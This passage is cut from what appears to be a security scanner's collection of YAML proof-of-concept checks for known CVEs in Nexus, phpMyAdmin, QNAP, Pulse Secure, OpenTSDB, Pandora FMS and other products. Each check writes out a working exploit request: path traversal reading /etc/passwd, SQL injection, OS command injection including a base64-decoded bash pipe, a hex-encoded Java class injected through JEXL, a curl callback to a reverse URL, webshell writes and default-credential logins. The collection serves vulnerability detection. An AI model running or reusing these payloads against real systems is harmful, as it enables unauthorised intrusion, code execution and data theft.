26c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'expr {{r1}} + {{r2}}');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"} expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2))) detail: Affected Version: "nexus<3.15" author: hanxiansheng26(https://github.com/hanxiansheng26) links: - https://github.com/jas502n/CVE-2019-7238 - https://github.com/verctor/nexus_rce_CVE-2019-7238 - https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238 ================================================ FILE: WebScan/pocs/nexus-cve-2020-10199.yml ================================================ name: poc-yaml-nexus-cve-2020-10199 set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: "/rest/beta/repositories/go/group" headers: Content-Type: application/json body: | {"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ {{r1}} * {{r2}} }"]}} expression: | response.status == 400 && response.body.bcontains(bytes(string(r1 * r2))) detail: Affected Version: "nexus<3.21.2" author: kingkk(https://www.kingkk.com/) links: - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb - https://www.cnblogs.com/magic-zero/p/12641068.html - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31 ================================================ FILE: WebScan/pocs/nexus-cve-2020-10204.yml ================================================ name: poc-yaml-nexus-cve-2020-10204 set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: "/extdirect" headers: Content-Type: application/json body: | {"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"anonymous@example.org","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28} expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: Affected Version: "nexus<3.21.2" author: kingkk(https://www.kingkk.com/) links: - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb - https://www.cnblogs.com/magic-zero/p/12641068.html - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31 ================================================ FILE: WebScan/pocs/nexus-default-password.yml ================================================ name: poc-yaml-nexus-default-password rules: - method: GET path: /service/local/authentication/login follow_redirects: false headers: Accept: application/json Authorization: Basic YWRtaW46YWRtaW4xMjM= expression: > response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"loggedIn") detail: author: Soveless(https://github.com/Soveless) Affected Version: "Nexus Repository Manager OSS" links: - https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager ================================================ FILE: WebScan/pocs/nexusdb-cve-2020-24571-path-traversal.yml ================================================ name: poc-yaml-nexusdb-cve-2020-24571-path-traversal rules: - method: GET path: /../../../../../../../../windows/win.ini follow_redirects: true expression: > response.status == 200 && response.body.bcontains(bytes("[extensions]")) && response.content_type.contains("application/octet-stream") detail: author: su(https://suzzz112113.github.io/#blog) links: - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371 ================================================ FILE: WebScan/pocs/nhttpd-cve-2019-16278.yml ================================================ name: poc-yaml-nhttpd-cve-2019-16278 set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" body: | echo echo expr {{r1}} + {{r2}} 2>&1 expression: > response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Loneyer versions: <= 1.9.6 links: - https://git.sp0re.sh/sp0re/Nhttpd-exploits ================================================ FILE: WebScan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml ================================================ name: poc-yaml-node-red-dashboard-file-read-cve-2021-3223 rules: - method: GET path: /ui_base/js/..%2f..%2f..%2f..%2fsettings.js expression: | response.status == 200 && response.body.bcontains(bytes("Node-RED web server is listening")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password")) detail: author: Print1n(http://print1n.top) links: - https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg ================================================ FILE: WebScan/pocs/novnc-url-redirection-cve-2021-3654.yml ================================================ name: poc-yaml-novnc-url-redirection-cve-2021-3654 rules: - method: GET path: / follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"noVNC") - method: GET path: "//baidu.com/%2f.." follow_redirects: false expression: | response.status == 301 && response.headers["location"] == "//baidu.com/%2f../" detail: author: txf(https://github.com/tangxiaofeng7) links: - https://seclists.org/oss-sec/2021/q3/188 ================================================ FILE: WebScan/pocs/nps-default-password.yml ================================================ name: poc-yaml-nps-default-password rules: - method: POST path: /login/verify body: username=admin&password=123 follow_redirects: true expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"login success") ================================================ FILE: WebScan/pocs/ns-asg-file-read.yml ================================================ name: poc-yaml-ns-asg-file-read rules: - method: GET path: "/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php" expression: | response.status == 200 && response.body.bcontains(b"$certfile") && response.body.bcontains(b"application/pdf") detail: author: YekkoY description: "网康 NS-ASG安全网关 任意文件读取漏洞" links: - http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md ================================================ FILE: WebScan/pocs/nsfocus-uts-password-leak.yml ================================================ name: poc-yaml-nsfocus-uts-password-leak rules: - method: GET path: /webapi/v1/system/accountmanage/account follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"account") && response.body.bcontains(b"password") detail: author: MrP01ntSun(https://github.com/MrPointSun) links: - https://blog.csdn.net/DFMASTER/article/details/108547352 ================================================ FILE: WebScan/pocs/nuuo-file-inclusion.yml ================================================ name: poc-yaml-nuuo-file-inclusion rules: - method: GET path: /css_parser.php?css=css_parser.php follow_redirects: false expression: response.status == 200 && response.headers["content-type"] == "text/css" && response.body.bcontains(b"$_GET['css']") detail: author: 2357000166(https://github.com/2357000166) links: - https://www.exploit-db.com/exploits/40211 ================================================ FILE: WebScan/pocs/odoo-file-read.yml ================================================ name: poc-yaml-odoo-file-read groups: win: - method: GET path: "/base_import/static/c:/windows/win.ini" expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") linux: - method: GET path: "/base_import/static/etc/passwd" expression: response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) detail: author: amos1 links: - https://quake.360.cn/quake/#/vulDetail/QH-202006-1954/checked ================================================ FILE: WebScan/pocs/openfire-cve-2019-18394-ssrf.yml ================================================ name: poc-yaml-openfire-cve-2019-18394-ssrf rules: - method: GET path: /getFavicon?host=baidu.com/? follow_redirects: false expression: | response.status == 200 && response.content_type.contains("image/x-icon") && response.body.bcontains(bytes("baidu.com")) detail: author: su(https://suzzz112113.github.io/#blog) links: - https://www.cnvd.org.cn/patchInfo/show/192993 - https://www.cnblogs.com/potatsoSec/p/13437713.html ================================================ FILE: WebScan/pocs/opentsdb-cve-2020-35476-rce.yml ================================================ name: poc-yaml-opentsdb-cve-2020-35476-rce set: r1: randomLowercase(3) r2: randomLowercase(3) r3: randomLowercase(3) r4: randomInt(1024, 65535) rules: - method: GET path: "/s/opentsdb_header.jpg" follow_redirects: false expression: | response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"\xff\xd8\xff\xe1") - method: POST body: |- [ { "metric": "{{r1}}.{{r2}}.{{r3}}", "timestamp": 1608700420, "value": {{r4}}, "tags": { "host": "web01", "dc": "lga" } }, { "metric": "{{r1}}.{{r2}}.{{r3}}", "timestamp": 1608700421, "value": {{r4}}, "tags": { "host": "web02", "dc": "lga" } } ] path: "/api/put" follow_redirects: false expression: | sleep(5) && response.status == 204 && response.content_type.contains("json") - method: GET path: "/q?start=2000/10/21-00:00:00&end=2020/12/25-00:00:00&m=sum:{{r1}}.{{r2}}.{{r3}}&o=&yrange=[0:system('echo%20-e%20\"ZWNobyAxMjMgfG1kNXN1bSAxPiYyCg==\"%20|%20base64%20-d%20|bash')]&wxh=1698x316&style=linespoint&json" follow_redirects: false expression: | response.status == 400 && response.content_type.contains("json") && "ba1f2511fc30423bdbb183fe33f3dd0f".bmatches(response.body) detail: author: mvhz81 info: opentsdb-cve-2020-35476-rce links: - https://blog.csdn.net/xuandao_ahfengren/article/details/111402955 - https://hub.docker.com/r/petergrace/opentsdb-docker ================================================ FILE: WebScan/pocs/panabit-gateway-default-password.yml ================================================ name: poc-yaml-panabit-gateway-default-password rules: - method: POST path: /login/userverify.cgi body: username=admin&password=panabit expression: | response.status == 200 && response.headers["Set-Cookie"].contains("paonline_admin") && response.body.bcontains(b"URL=/index.htm") detail: author: Print1n(https://github.com/Print1n) links: - https://max.book118.com/html/2017/0623/117514590.shtm ================================================ FILE: WebScan/pocs/panabit-ixcache-default-password.yml ================================================ name: poc-yaml-panabit-ixcache-default-password rules: - method: POST path: /login/userverify.cgi body: username=admin&password=ixcache expression: | response.status == 200 && response.body.bcontains(b"URL=/cgi-bin/monitor.cgi") detail: author: B1anda0(https://github.com/B1anda0) links: - http://forum.panabit.com/thread-10830-1-1.html ================================================ FILE: WebScan/pocs/pandorafms-cve-2019-20224-rce.yml ================================================ name: poc-yaml-pandorafms-cve-2019-20224-rce set: reverse: newReverse() reverseURL: reverse.url rules: - method: POST path: >- /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 headers: Content-Type: application/x-www-form-urlencoded body: >- date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{reverseURL}}+%23&draw_button=Draw follow_redirects: true expression: | response.status == 200 && reverse.wait(5) detail: author: JingLing(https://hackfun.org/) version: Pandora FMS v7.0NG links: - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/ ================================================ FILE: WebScan/pocs/pbootcms-database-file-download.yml ================================================ name: poc-yaml-pbootcms-database-file-download rules: - method: GET path: /data/pbootcms.db follow_redirects: false expression: | response.status == 200 && "^SQLite format 3\\x00\\x10".bmatches(response.body) && response.body.bcontains(b"PbootCMS") detail: author: abcRosexyz(https://github.com/abcRosexyz) links: - https://www.cnblogs.com/0daybug/p/12786036.html ================================================ FILE: WebScan/pocs/php-cgi-cve-2012-1823.yml ================================================ name: poc-yaml-php-cgi-cve-2012-1823 set: rand: randomInt(200000000, 210000000) rules: - method: POST path: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input body: follow_redirects: false expression: | response.body.bcontains(bytes(md5(string(rand)))) detail: author: 17bdw links: - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823 ================================================ FILE: WebScan/pocs/phpcms-cve-2018-19127.yml ================================================ name: poc-yaml-phpcms-cve-2018-19127 set: r: randomInt(800000000, 1000000000) rules: - method: GET path: /type.php?template=tag_(){}%3b@unlink(file)%3becho md5($_GET[1])%3b{//../rss follow_redirects: true expression: | response.status == 200 - method: GET path: /data/cache_template/rss.tpl.php?1={{r}} follow_redirects: true expression: | response.body.bcontains(bytes(md5(string(r)))) detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "PHPCMS2008" links: - https://github.com/ab1gale/phpcms-2008-CVE-2018-19127 ================================================ FILE: WebScan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml ================================================ name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion rules: - method: GET path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd follow_redirects: false expression: >- response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: p0wd3r links: - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 ================================================ FILE: WebScan/pocs/phpmyadmin-setup-deserialization.yml ================================================ name: poc-yaml-phpmyadmin-setup-deserialization rules: - method: POST path: /scripts/setup.php body: >- action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";} follow_redirects: false expression: >- response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: p0wd3r links: - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433 ================================================ FILE: WebScan/pocs/phpok-sqli.yml ================================================ name: poc-yaml-phpok-sqli set: r1: randomInt(800000000, 1000000000) rules: - method: GET path: "/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{r1}}))) --+" expression: | response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) detail: author: jinqi links: - https://github.com/jinqi520 ================================================ FILE: WebScan/pocs/phpshe-sqli.yml ================================================ name: poc-yaml-phpshe-sqli set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,CONCAT%28md5({{rand}})%29,4,5,6,7,8,9,10,11,12%23_ expression: | response.body.bcontains(bytes(md5(string(rand)))) detail: author: hhdaddy Affected Version: "1.7" links: - https://www.cnblogs.com/Spec/p/10718046.html ================================================ FILE: WebScan/pocs/phpstudy-backdoor-rce.yml ================================================ name: poc-yaml-phpstudy-backdoor-rce set: r: randomLowercase(6) payload: base64("printf(md5('" + r + "'));") rules: - method: GET path: /index.php headers: Accept-Encoding: 'gzip,deflate' Accept-Charset: '{{payload}}' follow_redirects: false expression: | response.body.bcontains(bytes(md5(r))) detail: author: 17bdw Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4" vuln_url: "php_xmlrpc.dll" links: - https://www.freebuf.com/column/214946.html ================================================ FILE: WebScan/pocs/phpstudy-nginx-wrong-resolve.yml ================================================ name: poc-yaml-phpstudy-nginx-wrong-resolve set: name: randomInt(10000000, 99999999) groups: html: - method: GET path: /{{name}}.php follow_redirects: false expression: | response.status != 200 - method: GET path: /index.html follow_redirects: false expression: | response.status == 200 && response.headers["Server"].contains("nginx") - method: GET path: /index.html/.php follow_redirects: false expression: | response.status == 200 && response.headers["Server"].contains("nginx") - method: GET path: /index.html/.xxx follow_redirects: false expression: | response.status != 200 php: - method: GET path: /{{name}}.php follow_redirects: false expression: | response.status != 200 - method: GET path: /index.php follow_redirects: false expression: | response.status == 200 && response.headers["Server"].contains("nginx") - method: GET path: /index.php/.php follow_redirects: false expression: | response.status == 200 && response.headers["Server"].contains("nginx") - method: GET path: /index.php/.xxx follow_redirects: false expression: | response.status != 200 detail: author: LoRexxar(https://lorexxar.cn),0h1in9e(https://www.ohlinge.cn) links: - https://www.seebug.org/vuldb/ssvid-98364 ================================================ FILE: WebScan/pocs/phpunit-cve-2017-9841-rce.yml ================================================ name: poc-yaml-phpunit-cve-2017-9841-rce set: rand: randomInt(2000000000, 2100000000) rules: - method: POST path: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php body: follow_redirects: false expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: author: p0wd3r,buchixifan links: - https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841 ================================================ FILE: WebScan/pocs/powercreator-arbitrary-file-upload.yml ================================================ name: poc-yaml-powercreator-arbitrary-file-upload set: rand: randomInt(1000, 9999) content: randomLowercase(8) randname: randomLowercase(4) rules: - method: POST path: /upload/UploadResourcePic.ashx?ResourceID={{rand}} follow_redirects: false headers: Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136 Content-Disposition: form-data;name="file1";filename="{{randname}}.aspx"; body: "-----------------------------20873900192357278038549710136\nContent-Disposition: form-data; name=\"file1\"; filename=\"{{randname}}.aspx\"\nContent-Type: image/jpeg\n\n{{content}}\n-----------------------------20873900192357278038549710136--" search: | (?P.+?).ASPX expression: response.status == 200 && response.body.bcontains(b".ASPX") - method: GET path: /ResourcePic/{{path}}.ASPX follow_redirects: false expression: response.status == 200 detail: author: MrP01ntSun(https://github.com/MrPointSun) links: - https://xz.aliyun.com/t/8478#reply-15684 ================================================ FILE: WebScan/pocs/prometheus-url-redirection-cve-2021-29622.yml ================================================ name: poc-yaml-prometheus-url-redirection-cve-2021-29622 rules: - method: GET path: /new/newhttps:/baidu.com follow_redirects: false expression: | response.status == 302 && response.headers["location"] == "https:/baidu.com?" detail: author: fuzz7j(https://github.com/fuzz7j) links: - https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7 ================================================ FILE: WebScan/pocs/pulse-cve-2019-11510.yml ================================================ name: poc-yaml-pulse-cve-2019-11510 rules: - method: GET path: >- /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: leezp Affected Version: "Pulse Connect Secure: 9.0RX 8.3RX 8.2RX" links: - https://github.com/jas502n/CVE-2019-11510-1 - https://github.com/projectzeroindia/CVE-2019-11510 ================================================ FILE: WebScan/pocs/pyspider-unauthorized-access.yml ================================================ name: poc-yaml-pyspider-unauthorized-access set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: /debug/pyspidervulntest/run headers: Content-Type: application/x-www-form-urlencoded body: >- webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str({{r1}}+%2B+{{r2}}))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D follow_redirects: true expression: > response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: we1x4n(https://we1x4n.github.io/) links: - https://github.com/ianxtianxt/Pyspider-webui-poc ================================================ FILE: WebScan/pocs/qibocms-sqli.yml ================================================ name: poc-yaml-qibocms-sqli set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /f/job.php?job=getzone&typeid=zone&fup=..\..\do\js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,md5({{rand}}),9,10,11,12,13,14,15,16,17,18,19%23 expression: | response.body.bcontains(bytes(md5(string(rand)))) detail: author: Rexus links: - https://www.ld-fcw.com/ ================================================ FILE: WebScan/pocs/qilin-bastion-host-rce.yml ================================================ name: poc-yaml-qilin-bastion-host-rce set: r2: randomLowercase(10) rules: - method: GET path: /get_luser_by_sshport.php?clientip=1;echo%20"">/opt/freesvr/web/htdocs/freesvr/audit/{{r2}}.php;&clientport=1 follow_redirects: false expression: response.status == 200 - method: GET path: /{{r2}}.php follow_redirects: false expression: response.status == 200 && response.body.bcontains(bytes(md5(r2))) detail: author: For3stCo1d (https://github.com/For3stCo1d) description: "iAudit-fortressaircraft-rce" links: - https://yun.scdsjzx.cn/system/notice/detail/399d2dd0-94aa-4914-a8f6-e71f8dc8ac87 ================================================ FILE: WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml ================================================ name: poc-yaml-qizhi-fortressaircraft-unauthorized rules: - method: GET path: >- /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm expression: | response.status == 200 && response.body.bcontains(b"错误的id") && response.body.bcontains(b"审计管理员") && response.body.bcontains(b"事件审计") detail: author: we1x4n(https://we1x4n.com/) links: - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw ================================================ FILE: WebScan/pocs/qnap-cve-2019-7192.yml ================================================ name: poc-yaml-qnap-cve-2019-7192 rules: - method: POST path: /photo/p/api/album.php headers: Content-Type: application/x-www-form-urlencoded body: a=setSlideshow&f=qsamplealbum expression: | response.status == 200 search: >- (?P.*?) - method: GET path: /photo/slideshow.php?album={{album_id}} expression: | response.status == 200 search: >- encodeURIComponent\(\'(?P.*?)\'\) - method: POST path: /photo/p/api/video.php headers: Content-Type: application/x-www-form-urlencoded body: album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=./../../../../../etc/passwd expression: | response.status == 200 && response.body.bcontains(b"admin:x:0:0") detail: author: Hzllaga links: - https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit ================================================ FILE: WebScan/pocs/rabbitmq-default-password.yml ================================================ name: poc-yaml-rabbitmq-default-password rules: - method: GET path: /api/whoami expression: | response.status == 401 - method: GET path: /api/whoami headers: Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= expression: | response.status == 200 && response.body.bcontains(b"\"name\":\"guest\"") detail: author: mumu0215(https://github.com/mumu0215) links: - http://luckyzmj.cn/posts/15dff4d3.html ================================================ FILE: WebScan/pocs/rails-cve-2018-3760-rce.yml ================================================ name: poc-yaml-rails-cve-2018-3760-rce rules: - method: GET path: '/assets/file:%2f%2f/etc/passwd' follow_redirects: false expression: | response.status == 500 && response.body.bcontains(b"FileOutsidePaths") search: '/etc/passwd is no longer under a load path: (?P.*?),' - method: GET path: >- /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd follow_redirects: false expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: leezp Affected Version: "Sprockets<=3.7.1" links: - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 ================================================ FILE: WebScan/pocs/razor-cve-2018-8770.yml ================================================ name: poc-yaml-razor-cve-2018-8770 rules: - method: GET path: /tests/generate.php follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"Fatal error: Class 'PHPUnit_Framework_TestCase' not found in ") && response.body.bcontains(b"/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line") detail: author: we1x4n(https://we1x4n.github.io/) links: - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770 - https://www.exploit-db.com/exploits/44495/ ================================================ FILE: WebScan/pocs/rconfig-cve-2019-16663.yml ================================================ name: poc-yaml-rconfig-cve-2019-16663 set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: GET path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23 expression: | response.status == 200 && response.body.bcontains(bytes(string(r + r1))) detail: author: 17bdw links: - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071 - https://www.cnblogs.com/17bdw/p/11840588.html - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ ================================================ FILE: WebScan/pocs/resin-cnnvd-200705-315.yml ================================================ name: poc-yaml-resin-cnnvd-200705-315 rules: - method: GET path: /%20../web-inf/ follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"/ ../web-inf/") && response.body.bcontains(b"Directory of /") detail: author: whynot(https://github.com/notwhy) links: - https://www.secpulse.com/archives/39144.html - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-315 ================================================ FILE: WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml ================================================ name: poc-yaml-resin-inputfile-fileread-or-ssrf rules: - method: GET path: /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes("<%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %>")) detail: author: whynot(https://github.com/notwhy) links: - https://www.secpulse.com/archives/496.html ================================================ FILE: WebScan/pocs/resin-viewfile-fileread.yml ================================================ name: poc-yaml-resin-viewfile-fileread rules: - method: GET path: /resin-doc/viewfile/?file=index.jsp follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes("%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %")) detail: author: whynot(https://github.com/notwhy) links: - https://www.cnvd.org.cn/flaw/show/CNVD-2006-3205 - http://0day5.com/archives/1173/ ================================================ FILE: WebScan/pocs/rockmongo-default-password.yml ================================================ name: poc-yaml-rockmongo-default-password rules: - method: POST path: 